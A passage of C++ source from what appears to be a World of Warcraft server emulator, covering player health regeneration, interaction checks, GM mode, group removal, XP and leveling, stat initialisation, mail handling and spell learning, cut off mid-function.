for(AuraList::const_iterator i = mModHealthRegenPct.begin(); i != mModHealthRegenPct.end(); ++i)
addvalue *= (100.0f + (*i)->GetModifier()->m_amount) / 100.0f;
}
else if (HasAuraType(SPELL_AURA_MOD_REGEN_DURING_COMBAT))
addvalue *= GetTotalAuraModifier(SPELL_AURA_MOD_REGEN_DURING_COMBAT) / 100.0f;
if(!IsStandState())
addvalue *= 1.5;
}
// always regeneration bonus (including combat)
addvalue += GetTotalAuraModifier(SPELL_AURA_MOD_HEALTH_REGEN_IN_COMBAT);
addvalue += m_baseHealthRegen / 2.5f; //From ITEM_MOD_HEALTH_REGEN. It is correct tick amount?
if (addvalue < 0)
addvalue = 0;
addvalue *= (float)diff / REGEN_TIME_FULL;
ModifyHealth(int32(addvalue));
}
Creature* Player::GetNPCIfCanInteractWith(ObjectGuid guid, uint32 npcflagmask)
{
// some basic checks
if (!guid || !IsInWorld() || IsTaxiFlying())
return NULL;
// not in interactive state
if (hasUnitState(UNIT_STAT_CAN_NOT_REACT_OR_LOST_CONTROL) && !hasUnitState(UNIT_STAT_ON_VEHICLE))
return NULL;
// exist (we need look pets also for some interaction (quest/etc)
Creature *unit = GetMap()->GetAnyTypeCreature(guid);
if (!unit)
return NULL;
// appropriate npc type
if (npcflagmask && !unit->HasFlag( UNIT_NPC_FLAGS, npcflagmask ))
return NULL;
if (npcflagmask == UNIT_NPC_FLAG_STABLEMASTER)
{
if (getClass() != CLASS_HUNTER)
return NULL;
}
// if a dead unit should be able to talk - the creature must be alive and have special flags
if (!unit->isAlive())
return NULL;
if (isAlive() && unit->isInvisibleForAlive())
return NULL;
// not allow interaction under control, but allow with own pets
if (unit->GetCharmerGuid())
return NULL;
// not enemy
if (unit->IsHostileTo(this))
return NULL;
// not too far
if (!unit->IsWithinDistInMap(this, INTERACTION_DISTANCE))
return NULL;
return unit;
}
GameObject* Player::GetGameObjectIfCanInteractWith(ObjectGuid guid, uint32 gameobject_type) const
{
// some basic checks
if (!guid || !IsInWorld() || IsTaxiFlying())
return NULL;
// not in interactive state
if (hasUnitState(UNIT_STAT_CAN_NOT_REACT_OR_LOST_CONTROL) && !hasUnitState(UNIT_STAT_ON_VEHICLE))
return NULL;
if (GameObject *go = GetMap()->GetGameObject(guid))
{
if (uint32(go->GetGoType()) == gameobject_type || gameobject_type == MAX_GAMEOBJECT_TYPE)
{
float maxdist;
switch(go->GetGoType())
{
// TODO: find out how the client calculates the maximal usage distance to spellless working
// gameobjects like guildbanks and mailboxes - 10.0 is a just an abitrary choosen number
case GAMEOBJECT_TYPE_GUILD_BANK:
case GAMEOBJECT_TYPE_MAILBOX:
maxdist = 10.0f;
break;
case GAMEOBJECT_TYPE_FISHINGHOLE:
maxdist = 20.0f+CONTACT_DISTANCE; // max spell range
break;
default:
maxdist = INTERACTION_DISTANCE;
break;
}
if (go->IsWithinDistInMap(this, maxdist) && go->isSpawned())
return go;
sLog.outError("GetGameObjectIfCanInteractWith: GameObject '%s' [GUID: %u] is too far away from player %s [GUID: %u] to be used by him (distance=%f, maximal %f is allowed)",
go->GetGOInfo()->name, go->GetGUIDLow(), GetName(), GetGUIDLow(), go->GetDistance(this), maxdist);
}
}
return NULL;
}
bool Player::IsUnderWater() const
{
return GetTerrain()->IsUnderWater(GetPositionX(), GetPositionY(), GetPositionZ()+2);
}
void Player::SetInWater(bool apply)
{
if (m_isInWater==apply)
return;
//define player in water by opcodes
//move player's guid into HateOfflineList of those mobs
//which can't swim and move guid back into ThreatList when
//on surface.
//TODO: exist also swimming mobs, and function must be symmetric to enter/leave water
m_isInWater = apply;
// remove auras that need water/land
RemoveAurasWithInterruptFlags(apply ? AURA_INTERRUPT_FLAG_NOT_ABOVEWATER : AURA_INTERRUPT_FLAG_NOT_UNDERWATER);
getHostileRefManager().updateThreatTables();
}
struct SetGameMasterOnHelper
{
explicit SetGameMasterOnHelper() {}
void operator()(Unit* unit) const
{
unit->setFaction(35);
unit->getHostileRefManager().setOnlineOfflineState(false);
}
};
struct SetGameMasterOffHelper
{
explicit SetGameMasterOffHelper(uint32 _faction) : faction(_faction) {}
void operator()(Unit* unit) const
{
unit->setFaction(faction);
unit->getHostileRefManager().setOnlineOfflineState(true);
}
uint32 faction;
};
void Player::SetGameMaster(bool on)
{
if (on)
{
m_ExtraFlags |= PLAYER_EXTRA_GM_ON;
setFaction(35);
SetFlag(PLAYER_FLAGS, PLAYER_FLAGS_GM);
CallForAllControlledUnits(SetGameMasterOnHelper(), CONTROLLED_PET|CONTROLLED_TOTEMS|CONTROLLED_GUARDIANS|CONTROLLED_CHARM);
SetFFAPvP(false);
ResetContestedPvP();
getHostileRefManager().setOnlineOfflineState(false);
CombatStopWithPets();
SetPhaseMask(PHASEMASK_ANYWHERE,false); // see and visible in all phases
}
else
{
m_ExtraFlags &= ~ PLAYER_EXTRA_GM_ON;
setFactionForRace(getRace());
RemoveFlag(PLAYER_FLAGS, PLAYER_FLAGS_GM);
// restore phase
AuraList const& phases = GetAurasByType(SPELL_AURA_PHASE);
SetPhaseMask(!phases.empty() ? phases.front()->GetMiscValue() : PHASEMASK_NORMAL,false);
CallForAllControlledUnits(SetGameMasterOffHelper(getFaction()), CONTROLLED_PET|CONTROLLED_TOTEMS|CONTROLLED_GUARDIANS|CONTROLLED_CHARM);
// restore FFA PvP Server state
if (sWorld.IsFFAPvPRealm())
SetFFAPvP(true);
// restore FFA PvP area state, remove not allowed for GM mounts
UpdateArea(m_areaUpdateId);
getHostileRefManager().setOnlineOfflineState(true);
}
m_camera.UpdateVisibilityForOwner();
UpdateObjectVisibility();
UpdateForQuestWorldObjects();
}
void Player::SetGMVisible(bool on)
{
if (on)
{
m_ExtraFlags &= ~PLAYER_EXTRA_GM_INVISIBLE; //remove flag
// Reapply stealth/invisibility if active or show if not any
if (HasAuraType(SPELL_AURA_MOD_STEALTH))
SetVisibility(VISIBILITY_GROUP_STEALTH);
else if (HasAuraType(SPELL_AURA_MOD_INVISIBILITY))
SetVisibility(VISIBILITY_GROUP_INVISIBILITY);
else
SetVisibility(VISIBILITY_ON);
}
else
{
m_ExtraFlags |= PLAYER_EXTRA_GM_INVISIBLE; //add flag
SetAcceptWhispers(false);
SetGameMaster(true);
SetVisibility(VISIBILITY_OFF);
}
}
bool Player::IsGroupVisibleFor(Player* p) const
{
switch(sWorld.getConfig(CONFIG_UINT32_GROUP_VISIBILITY))
{
default: return IsInSameGroupWith(p);
case 1: return IsInSameRaidWith(p);
case 2: return GetTeam()==p->GetTeam();
}
}
bool Player::IsInSameGroupWith(Player const* p) const
{
return (p==this || (GetGroup() != NULL &&
GetGroup()->SameSubGroup((Player*)this, (Player*)p)));
}
///- If the player is invited, remove him. If the group if then only 1 person, disband the group.
/// \todo Shouldn't we also check if there is no other invitees before disbanding the group?
void Player::UninviteFromGroup()
{
Group* group = GetGroupInvite();
if(!group)
return;
group->RemoveInvite(this);
if (group->GetMembersCount() <= 1) // group has just 1 member => disband
{
if (group->IsCreated())
{
group->Disband(true);
sObjectMgr.RemoveGroup(group);
}
else
group->RemoveAllInvites();
delete group;
}
}
void Player::RemoveFromGroup(Group* group, ObjectGuid guid)
{
if (group)
{
// remove all auras affecting only group members
if (Player *pLeaver = sObjectMgr.GetPlayer(guid))
{
for(GroupReference *itr = group->GetFirstMember(); itr != NULL; itr = itr->next())
{
if (Player *pGroupGuy = itr->getSource())
{
// dont remove my auras from myself
if (pGroupGuy->GetObjectGuid() == guid)
continue;
// remove all buffs cast by me from group members before leaving
pGroupGuy->RemoveAllGroupBuffsFromCaster(guid);
// remove from me all buffs cast by group members
pLeaver->RemoveAllGroupBuffsFromCaster(pGroupGuy->GetObjectGuid());
}
}
}
// remove member from group
if (group->RemoveMember(guid, 0) <= 1)
{
// group->Disband(); already disbanded in RemoveMember
sObjectMgr.RemoveGroup(group);
delete group;
// removemember sets the player's group pointer to NULL
}
}
}
void Player::SendLogXPGain(uint32 GivenXP, Unit* victim, uint32 BonusXP, bool ReferAFriend)
{
WorldPacket data(SMSG_LOG_XPGAIN, 21);
data << (victim ? victim->GetObjectGuid() : ObjectGuid());// guid
data << uint32(GivenXP+BonusXP); // total experience
data << uint8(victim ? 0 : 1); // 00-kill_xp type, 01-non_kill_xp type
if (victim)
{
data << uint32(GivenXP); // experience without rested bonus
data << float(1); // 1 - none 0 - 100% group bonus output
}
data << uint8(ReferAFriend ? 1 : 0); // Refer-A-Friend State
GetSession()->SendPacket(&data);
}
void Player::GiveXP(uint32 xp, Unit* victim)
{
if ( xp < 1 )
return;
if(!isAlive())
return;
if (HasFlag(PLAYER_FLAGS, PLAYER_FLAGS_XP_USER_DISABLED))
return;
if (hasUnitState(UNIT_STAT_ON_VEHICLE))
return;
uint32 level = getLevel();
//prevent Northrend Level Leeching :P
if (level < 66 && GetMapId() == 571)
return;
// XP to money conversion processed in Player::RewardQuest
if (level >= sWorld.getConfig(CONFIG_UINT32_MAX_PLAYER_LEVEL))
return;
if (victim)
{
// handle SPELL_AURA_MOD_KILL_XP_PCT auras
Unit::AuraList const& ModXPPctAuras = GetAurasByType(SPELL_AURA_MOD_KILL_XP_PCT);
for(Unit::AuraList::const_iterator i = ModXPPctAuras.begin();i != ModXPPctAuras.end(); ++i)
xp = uint32(xp*(1.0f + (*i)->GetModifier()->m_amount / 100.0f));
}
else
{
// handle SPELL_AURA_MOD_QUEST_XP_PCT auras
Unit::AuraList const& ModXPPctAuras = GetAurasByType(SPELL_AURA_MOD_QUEST_XP_PCT);
for(Unit::AuraList::const_iterator i = ModXPPctAuras.begin();i != ModXPPctAuras.end(); ++i)
xp = uint32(xp*(1.0f + (*i)->GetModifier()->m_amount / 100.0f));
}
uint32 bonus_xp = 0;
bool ReferAFriend = false;
if (CheckRAFConditions())
{
// RAF bonus exp don't decrease rest exp
ReferAFriend = true;
bonus_xp = xp * (sWorld.getConfig(CONFIG_FLOAT_RATE_RAF_XP) - 1);
}
else
// XP resting bonus for kill
bonus_xp = victim ? GetXPRestBonus(xp) : 0;
SendLogXPGain(xp,victim,bonus_xp,ReferAFriend);
uint32 curXP = GetUInt32Value(PLAYER_XP);
uint32 nextLvlXP = GetUInt32Value(PLAYER_NEXT_LEVEL_XP);
uint32 newXP = curXP + xp + bonus_xp;
while( newXP >= nextLvlXP && level < sWorld.getConfig(CONFIG_UINT32_MAX_PLAYER_LEVEL) )
{
newXP -= nextLvlXP;
if ( level < sWorld.getConfig(CONFIG_UINT32_MAX_PLAYER_LEVEL) )
{
GiveLevel(level + 1);
level = getLevel();
// Refer-A-Friend
if (GetAccountLinkedState() == STATE_REFERRAL || GetAccountLinkedState() == STATE_DUAL)
{
if (level < sWorld.getConfig(CONFIG_UINT32_RAF_MAXGRANTLEVEL))
{
if (sWorld.getConfig(CONFIG_FLOAT_RATE_RAF_LEVELPERLEVEL) < 1.0f)
{
if ( level%uint8(1.0f/sWorld.getConfig(CONFIG_FLOAT_RATE_RAF_LEVELPERLEVEL)) == 0 )
ChangeGrantableLevels(1);
}
else
ChangeGrantableLevels(uint8(sWorld.getConfig(CONFIG_FLOAT_RATE_RAF_LEVELPERLEVEL)));
}
}
}
level = getLevel();
nextLvlXP = GetUInt32Value(PLAYER_NEXT_LEVEL_XP);
}
SetUInt32Value(PLAYER_XP, newXP);
}
// Update player to next level
// Current player experience not update (must be update by caller)
void Player::GiveLevel(uint32 level)
{
if ( level == getLevel() )
return;
PlayerLevelInfo info;
sObjectMgr.GetPlayerLevelInfo(getRace(),getClass(),level,&info);
PlayerClassLevelInfo classInfo;
sObjectMgr.GetPlayerClassLevelInfo(getClass(),level,&classInfo);
// send levelup info to client
WorldPacket data(SMSG_LEVELUP_INFO, (4+4+MAX_POWERS*4+MAX_STATS*4));
data << uint32(level);
data << uint32(int32(classInfo.basehealth) - int32(GetCreateHealth()));
// for(int i = 0; i < MAX_POWERS; ++i) // Powers loop (0-6)
data << uint32(int32(classInfo.basemana) - int32(GetCreateMana()));
data << uint32(0);
data << uint32(0);
data << uint32(0);
data << uint32(0);
data << uint32(0);
data << uint32(0);
// end for
for(int i = STAT_STRENGTH; i < MAX_STATS; ++i) // Stats loop (0-4)
data << uint32(int32(info.stats[i]) - GetCreateStat(Stats(i)));
GetSession()->SendPacket(&data);
SetUInt32Value(PLAYER_NEXT_LEVEL_XP, sObjectMgr.GetXPForLevel(level));
//update level, max level of skills
m_Played_time[PLAYED_TIME_LEVEL] = 0; // Level Played Time reset
_ApplyAllLevelScaleItemMods(false);
SetLevel(level);
UpdateSkillsForLevel ();
// save base values (bonuses already included in stored stats
for(int i = STAT_STRENGTH; i < MAX_STATS; ++i)
SetCreateStat(Stats(i), info.stats[i]);
SetCreateHealth(classInfo.basehealth);
SetCreateMana(classInfo.basemana);
InitTalentForLevel();
InitTaxiNodesForLevel();
InitGlyphsForLevel();
UpdateAllStats();
// set current level health and mana/energy to maximum after applying all mods.
if (isAlive())
SetHealth(GetMaxHealth());
SetPower(POWER_MANA, GetMaxPower(POWER_MANA));
SetPower(POWER_ENERGY, GetMaxPower(POWER_ENERGY));
if (GetPower(POWER_RAGE) > GetMaxPower(POWER_RAGE))
SetPower(POWER_RAGE, GetMaxPower(POWER_RAGE));
SetPower(POWER_FOCUS, 0);
SetPower(POWER_HAPPINESS, 0);
_ApplyAllLevelScaleItemMods(true);
// update level to hunter/summon pet
if (Pet* pet = GetPet())
pet->SynchronizeLevelWithOwner();
if (MailLevelReward const* mailReward = sObjectMgr.GetMailLevelReward(level,getRaceMask()))
MailDraft(mailReward->mailTemplateId).SendMailTo(this,MailSender(MAIL_CREATURE,mailReward->senderEntry));
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_REACH_LEVEL);
GetLFGState()->Update();
}
void Player::UpdateFreeTalentPoints(bool resetIfNeed)
{
uint32 level = getLevel();
// talents base at level diff ( talents = level - 9 but some can be used already)
if (level < 10)
{
// Remove all talent points
if (m_usedTalentCount > 0) // Free any used talents
{
if (resetIfNeed)
resetTalents(true);
SetFreeTalentPoints(0);
}
}
else
{
if (m_specsCount == 0)
{
m_specsCount = 1;
m_activeSpec = 0;
}
uint32 talentPointsForLevel = CalculateTalentsPoints();
// if used more that have then reset
if (m_usedTalentCount > talentPointsForLevel)
{
if (resetIfNeed && GetSession()->GetSecurity() < SEC_ADMINISTRATOR)
resetTalents(true);
else
SetFreeTalentPoints(0);
}
// else update amount of free points
else
SetFreeTalentPoints(talentPointsForLevel-m_usedTalentCount);
}
ResetTalentsCount();
}
void Player::InitTalentForLevel()
{
UpdateFreeTalentPoints();
if (!GetSession()->PlayerLoading())
SendTalentsInfoData(false); // update at client
}
void Player::InitStatsForLevel(bool reapplyMods)
{
if (reapplyMods) //reapply stats values only on .reset stats (level) command
_RemoveAllStatBonuses();
PlayerClassLevelInfo classInfo;
sObjectMgr.GetPlayerClassLevelInfo(getClass(),getLevel(),&classInfo);
PlayerLevelInfo info;
sObjectMgr.GetPlayerLevelInfo(getRace(),getClass(),getLevel(),&info);
SetUInt32Value(PLAYER_FIELD_MAX_LEVEL, sWorld.getConfig(CONFIG_UINT32_MAX_PLAYER_LEVEL) );
SetUInt32Value(PLAYER_NEXT_LEVEL_XP, sObjectMgr.GetXPForLevel(getLevel()));
// reset before any aura state sources (health set/aura apply)
SetUInt32Value(UNIT_FIELD_AURASTATE, 0);
UpdateSkillsForLevel ();
// set default cast time multiplier
SetFloatValue(UNIT_MOD_CAST_SPEED, 1.0f);
// save base values (bonuses already included in stored stats
for(int i = STAT_STRENGTH; i < MAX_STATS; ++i)
SetCreateStat(Stats(i), info.stats[i]);
for(int i = STAT_STRENGTH; i < MAX_STATS; ++i)
SetStat(Stats(i), info.stats[i]);
SetCreateHealth(classInfo.basehealth);
//set create powers
SetCreateMana(classInfo.basemana);
SetArmor(int32(m_createStats[STAT_AGILITY]*2));
InitStatBuffMods();
//reset rating fields values
for(uint16 index = PLAYER_FIELD_COMBAT_RATING_1; index < PLAYER_FIELD_COMBAT_RATING_1 + MAX_COMBAT_RATING; ++index)
SetUInt32Value(index, 0);
SetUInt32Value(PLAYER_FIELD_MOD_HEALING_DONE_POS,0);
for (int i = 0; i < MAX_SPELL_SCHOOL; ++i)
{
SetInt32Value(PLAYER_FIELD_MOD_DAMAGE_DONE_NEG+i, 0);
SetUInt32Value(PLAYER_FIELD_MOD_DAMAGE_DONE_POS+i, 0);
SetFloatValue(PLAYER_FIELD_MOD_DAMAGE_DONE_PCT+i, 1.00f);
}
//reset attack power, damage and attack speed fields
SetFloatValue(UNIT_FIELD_BASEATTACKTIME, 2000.0f );
SetFloatValue(UNIT_FIELD_BASEATTACKTIME + 1, 2000.0f ); // offhand attack time
SetFloatValue(UNIT_FIELD_RANGEDATTACKTIME, 2000.0f );
SetFloatValue(UNIT_FIELD_MINDAMAGE, 0.0f );
SetFloatValue(UNIT_FIELD_MAXDAMAGE, 0.0f );
SetFloatValue(UNIT_FIELD_MINOFFHANDDAMAGE, 0.0f );
SetFloatValue(UNIT_FIELD_MAXOFFHANDDAMAGE, 0.0f );
SetFloatValue(UNIT_FIELD_MINRANGEDDAMAGE, 0.0f );
SetFloatValue(UNIT_FIELD_MAXRANGEDDAMAGE, 0.0f );
SetInt32Value(UNIT_FIELD_ATTACK_POWER, 0 );
SetInt32Value(UNIT_FIELD_ATTACK_POWER_MODS, 0 );
SetFloatValue(UNIT_FIELD_ATTACK_POWER_MULTIPLIER,0.0f);
SetInt32Value(UNIT_FIELD_RANGED_ATTACK_POWER, 0 );
SetInt32Value(UNIT_FIELD_RANGED_ATTACK_POWER_MODS,0 );
SetFloatValue(UNIT_FIELD_RANGED_ATTACK_POWER_MULTIPLIER,0.0f);
// Base crit values (will be recalculated in UpdateAllStats() at loading and in _ApplyAllStatBonuses() at reset
SetFloatValue(PLAYER_CRIT_PERCENTAGE,0.0f);
SetFloatValue(PLAYER_OFFHAND_CRIT_PERCENTAGE,0.0f);
SetFloatValue(PLAYER_RANGED_CRIT_PERCENTAGE,0.0f);
// Init spell schools (will be recalculated in UpdateAllStats() at loading and in _ApplyAllStatBonuses() at reset
for (uint8 i = 0; i < MAX_SPELL_SCHOOL; ++i)
SetFloatValue(PLAYER_SPELL_CRIT_PERCENTAGE1+i, 0.0f);
SetFloatValue(PLAYER_PARRY_PERCENTAGE, 0.0f);
SetFloatValue(PLAYER_BLOCK_PERCENTAGE, 0.0f);
SetUInt32Value(PLAYER_SHIELD_BLOCK, 0);
// Dodge percentage
SetFloatValue(PLAYER_DODGE_PERCENTAGE, 0.0f);
// set armor (resistance 0) to original value (create_agility*2)
SetArmor(int32(m_createStats[STAT_AGILITY]*2));
SetResistanceBuffMods(SpellSchools(0), true, 0.0f);
SetResistanceBuffMods(SpellSchools(0), false, 0.0f);
// set other resistance to original value (0)
for (int i = 1; i < MAX_SPELL_SCHOOL; ++i)
{
SetResistance(SpellSchools(i), 0);
SetResistanceBuffMods(SpellSchools(i), true, 0.0f);
SetResistanceBuffMods(SpellSchools(i), false, 0.0f);
}
SetUInt32Value(PLAYER_FIELD_MOD_TARGET_RESISTANCE,0);
SetUInt32Value(PLAYER_FIELD_MOD_TARGET_PHYSICAL_RESISTANCE,0);
for(int i = 0; i < MAX_SPELL_SCHOOL; ++i)
{
SetUInt32Value(UNIT_FIELD_POWER_COST_MODIFIER+i,0);
SetFloatValue(UNIT_FIELD_POWER_COST_MULTIPLIER+i,0.0f);
}
// Reset no reagent cost field
for(int i = 0; i < 3; ++i)
SetUInt32Value(PLAYER_NO_REAGENT_COST_1 + i, 0);
// Init data for form but skip reapply item mods for form
InitDataForForm(reapplyMods);
// save new stats
for (int i = POWER_MANA; i < MAX_POWERS; ++i)
SetMaxPower(Powers(i), GetCreatePowers(Powers(i)));
SetMaxHealth(classInfo.basehealth); // stamina bonus will applied later
// cleanup mounted state (it will set correctly at aura loading if player saved at mount.
SetUInt32Value(UNIT_FIELD_MOUNTDISPLAYID, 0);
// cleanup unit flags (will be re-applied if need at aura load).
RemoveFlag( UNIT_FIELD_FLAGS,
UNIT_FLAG_NON_ATTACKABLE | UNIT_FLAG_DISABLE_MOVE | UNIT_FLAG_NOT_ATTACKABLE_1 |
UNIT_FLAG_OOC_NOT_ATTACKABLE | UNIT_FLAG_PASSIVE | UNIT_FLAG_LOOTING |
UNIT_FLAG_PET_IN_COMBAT | UNIT_FLAG_SILENCED | UNIT_FLAG_PACIFIED |
UNIT_FLAG_STUNNED | UNIT_FLAG_IN_COMBAT | UNIT_FLAG_DISARMED |
UNIT_FLAG_CONFUSED | UNIT_FLAG_FLEEING | UNIT_FLAG_NOT_SELECTABLE |
UNIT_FLAG_SKINNABLE | UNIT_FLAG_MOUNT | UNIT_FLAG_TAXI_FLIGHT );
SetFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_PVP_ATTACKABLE ); // must be set
SetFlag(UNIT_FIELD_FLAGS_2,UNIT_FLAG2_REGENERATE_POWER);// must be set
// cleanup player flags (will be re-applied if need at aura load), to avoid have ghost flag without ghost aura, for example.
RemoveFlag(PLAYER_FLAGS, PLAYER_FLAGS_AFK | PLAYER_FLAGS_DND | PLAYER_FLAGS_GM | PLAYER_FLAGS_GHOST);
RemoveStandFlags(UNIT_STAND_FLAGS_ALL); // one form stealth modified bytes
RemoveByteFlag(UNIT_FIELD_BYTES_2, 1, UNIT_BYTE2_FLAG_FFA_PVP | UNIT_BYTE2_FLAG_SANCTUARY);
// restore if need some important flags
SetUInt32Value(PLAYER_FIELD_BYTES2, 0 ); // flags empty by default
if (reapplyMods) //reapply stats values only on .reset stats (level) command
_ApplyAllStatBonuses();
// set current level health and mana/energy to maximum after applying all mods.
SetHealth(GetMaxHealth());
SetPower(POWER_MANA, GetMaxPower(POWER_MANA));
SetPower(POWER_ENERGY, GetMaxPower(POWER_ENERGY));
if (GetPower(POWER_RAGE) > GetMaxPower(POWER_RAGE))
SetPower(POWER_RAGE, GetMaxPower(POWER_RAGE));
SetPower(POWER_FOCUS, 0);
SetPower(POWER_HAPPINESS, 0);
SetPower(POWER_RUNIC_POWER, 0);
// update level to hunter/summon pet
if (Pet* pet = GetPet())
pet->SynchronizeLevelWithOwner();
}
void Player::SendInitialSpells()
{
time_t curTime = time(NULL);
time_t infTime = curTime + infinityCooldownDelayCheck;
uint16 spellCount = 0;
WorldPacket data(SMSG_INITIAL_SPELLS, (1+2+4*m_spells.size()+2+m_spellCooldowns.size()*(2+2+2+4+4)));
data << uint8(0);
size_t countPos = data.wpos();
data << uint16(spellCount); // spell count placeholder
for (PlayerSpellMap::const_iterator itr = m_spells.begin(); itr != m_spells.end(); ++itr)
{
if (itr->second.state == PLAYERSPELL_REMOVED)
continue;
if(!itr->second.active || itr->second.disabled)
continue;
data << uint32(itr->first);
data << uint16(0); // it's not slot id
spellCount +=1;
}
data.put<uint16>(countPos,spellCount); // write real count value
uint16 spellCooldowns = m_spellCooldowns.size();
data << uint16(spellCooldowns);
for(SpellCooldowns::const_iterator itr=m_spellCooldowns.begin(); itr!=m_spellCooldowns.end(); ++itr)
{
SpellEntry const *sEntry = sSpellStore.LookupEntry(itr->first);
if(!sEntry)
continue;
data << uint32(itr->first);
data << uint16(itr->second.itemid); // cast item id
data << uint16(sEntry->Category); // spell category
// send infinity cooldown in special format
if (itr->second.end >= infTime)
{
data << uint32(1); // cooldown
data << uint32(0x80000000); // category cooldown
continue;
}
time_t cooldown = itr->second.end > curTime ? (itr->second.end-curTime)*IN_MILLISECONDS : 0;
if (sEntry->Category) // may be wrong, but anyway better than nothing...
{
data << uint32(0); // cooldown
data << uint32(cooldown); // category cooldown
}
else
{
data << uint32(cooldown); // cooldown
data << uint32(0); // category cooldown
}
}
GetSession()->SendPacket(&data);
DETAIL_LOG( "CHARACTER: Sent Initial Spells" );
}
void Player::SendCalendarResult(CalendarResponseResult result, std::string str)
{
WorldPacket data(SMSG_CALENDAR_COMMAND_RESULT, 200);
data << uint32(0); // unused
data << uint8(0); // std::string, currently unused
data << str;
data << uint32(result);
GetSession()->SendPacket(&data);
}
void Player::RemoveMail(uint32 id)
{
for(PlayerMails::iterator itr = m_mail.begin(); itr != m_mail.end();++itr)
{
if ((*itr)->messageID == id)
{
//do not delete item, because Player::removeMail() is called when returning mail to sender.
m_mail.erase(itr);
return;
}
}
}
void Player::SendMailResult(uint32 mailId, MailResponseType mailAction, MailResponseResult mailError, uint32 equipError, uint32 item_guid, uint32 item_count)
{
WorldPacket data(SMSG_SEND_MAIL_RESULT, (4+4+4+(mailError == MAIL_ERR_EQUIP_ERROR?4:(mailAction == MAIL_ITEM_TAKEN?4+4:0))));
data << (uint32) mailId;
data << (uint32) mailAction;
data << (uint32) mailError;
if ( mailError == MAIL_ERR_EQUIP_ERROR )
data << (uint32) equipError;
else if ( mailAction == MAIL_ITEM_TAKEN )
{
data << (uint32) item_guid; // item guid low?
data << (uint32) item_count; // item count?
}
GetSession()->SendPacket(&data);
}
void Player::SendNewMail()
{
// deliver undelivered mail
WorldPacket data(SMSG_RECEIVED_MAIL, 4);
data << (uint32) 0;
GetSession()->SendPacket(&data);
}
void Player::UpdateNextMailTimeAndUnreads()
{
// calculate next delivery time (min. from non-delivered mails
// and recalculate unReadMail
time_t cTime = time(NULL);
m_nextMailDelivereTime = 0;
unReadMails = 0;
for(PlayerMails::iterator itr = m_mail.begin(); itr != m_mail.end(); ++itr)
{
if((*itr)->deliver_time > cTime)
{
if(!m_nextMailDelivereTime || m_nextMailDelivereTime > (*itr)->deliver_time)
m_nextMailDelivereTime = (*itr)->deliver_time;
}
else if(((*itr)->checked & MAIL_CHECK_MASK_READ) == 0)
++unReadMails;
}
}
void Player::AddNewMailDeliverTime(time_t deliver_time)
{
if (deliver_time <= time(NULL)) // ready now
{
++unReadMails;
SendNewMail();
}
else // not ready and no have ready mails
{
if(!m_nextMailDelivereTime || m_nextMailDelivereTime > deliver_time)
m_nextMailDelivereTime = deliver_time;
}
}
bool Player::addSpell(uint32 spell_id, bool active, bool learning, bool dependent, bool disabled)
{
SpellEntry const *spellInfo = sSpellStore.LookupEntry(spell_id);
if (!spellInfo)
{
// do character spell book cleanup (all characters)
if(!IsInWorld() && !learning) // spell load case
{
sLog.outError("Player::addSpell: nonexistent in SpellStore spell #%u request, deleting for all characters in `character_spell`.",spell_id);
CharacterDatabase.PExecute("DELETE FROM character_spell WHERE spell = '%u'",spell_id);
}
else
sLog.outError("Player::addSpell: nonexistent in SpellStore spell #%u request.",spell_id);
return false;
}
if(!SpellMgr::IsSpellValid(spellInfo,this,false))
{
// do character spell book cleanup (all characters)
if(!IsInWorld() && !learning) // spell load case
{
sLog.outError("Player::addSpell: Broken spell #%u learning not allowed, deleting for all characters in `character_spell`.",spell_id);
CharacterDatabase.PExecute("DELETE FROM character_spell WHERE spell = '%u'",spell_id);
}
else
sLog.outError("Player::addSpell: Broken spell #%u learning not allowed.",spell_id);
return false;
}
PlayerSpellState state = learning ? PLAYERSPELL_NEW : PLAYERSPELL_UNCHANGED;
bool dependent_set = false;
bool disabled_case = false;
bool superceded_old = false;
PlayerSpellMap::iterator itr = m_spells.find(spell_id);
if (itr != m_spells.end())
{
uint32 next_active_spell_id = 0;
// fix activate state for non-stackable low rank (and find next spell for !active case)
if (sSpellMgr.IsRankedSpellNonStackableInSpellBook(spellInfo))
{
SpellChainMapNext const& nextMap = sSpellMgr.GetSpellChainNext();
for(SpellChainMapNext::const_iterator next_itr = nextMap.lower_bound(spell_id); next_itr != nextMap.upper_bound(spell_id); ++next_itr)
{
if (HasSpell(next_itr->second))
{
// high rank already known so this must !active
active = false;
next_active_spell_id = next_itr->second;
break;
}
}
}
// not do anything if already known in expected state
if (itr->second.state != PLAYERSPELL_REMOVED && itr->second.active == active &&
itr->second.dependent == dependent && itr->second.disabled == disabled)
{
if(!IsInWorld() && !learning) // explicitly load from DB and then exist in it already and set correctly
itr->second.state = PLAYERSPELL_UNCHANGED;
return false;
}
// dependent spell known as not dependent, overwrite state
if (itr->second.state != PLAYERSPELL_REMOVED && !itr->second.dependent && dependent)
{
itr->second.dependent = dependent;
if (itr->second.state != PLAYERSPELL_NEW)
itr->second.state = PLAYERSPELL_CHANGED;
dependent_set = true;
}
// update active state for known spell
if (itr->second.active != active && itr->second.state != PLAYERSPELL_REMOVED && !itr->second.disabled)
{
itr->second.active = active;
if(!IsInWorld() && !learning && !dependent_set) // explicitly load from DB and then exist in it already and set correctly
itr->second.state = PLAYERSPELL_UNCHANGED;
else if (itr->second.state != PLAYERSPELL_NEW)
itr->second.state = PLAYERSPELL_CHANGED;
if (active)
{
if (IsNeedCastPassiveLikeSpellAtLearn(spellInfo))
CastSpell (this, spell_id, true);
}
else if (IsInWorld())
{
if (next_active_spell_id)
{
// update spell ranks in spellbook and action bar
WorldPacket data(SMSG_SUPERCEDED_SPELL, 4 + 4);
data << uint32(spell_id);
data << uint32(next_active_spell_id);
GetSession()->SendPacket( &data );
}
else
{
WorldPacket data(SMSG_REMOVED_SPELL, 4);
data << uint32(spell_id);
GetSession()->SendPacket(&data);
}
}
return active; // learn (show in spell book if active now)
}
if (itr->second.disabled != disabled && itr->second.state != PLAYERSPELL_REMOVED)
{
if (itr->second.state != PLAYERSPELL_NEW)
itr->second.state = PLAYERSPELL_CHANGED;
itr->second.disabled = disabled;
if (disabled)
return false;
disabled_case = true;
}
else switch(itr->second.state)
{
case PLAYERSPELL_UNCHANGED: // known saved spell
return false;
case PLAYERSPELL_REMOVED: // re-learning removed not saved spell
{
m_spells.erase(itr);
state = PLAYERSPELL_CHANGED;
break; // need re-add
}
default: // known not saved yet spell (new or modified)
{
// can be in case spell loading but learned at some previous spell loading
if(!IsInWorld() && !learning && !dependent_set)
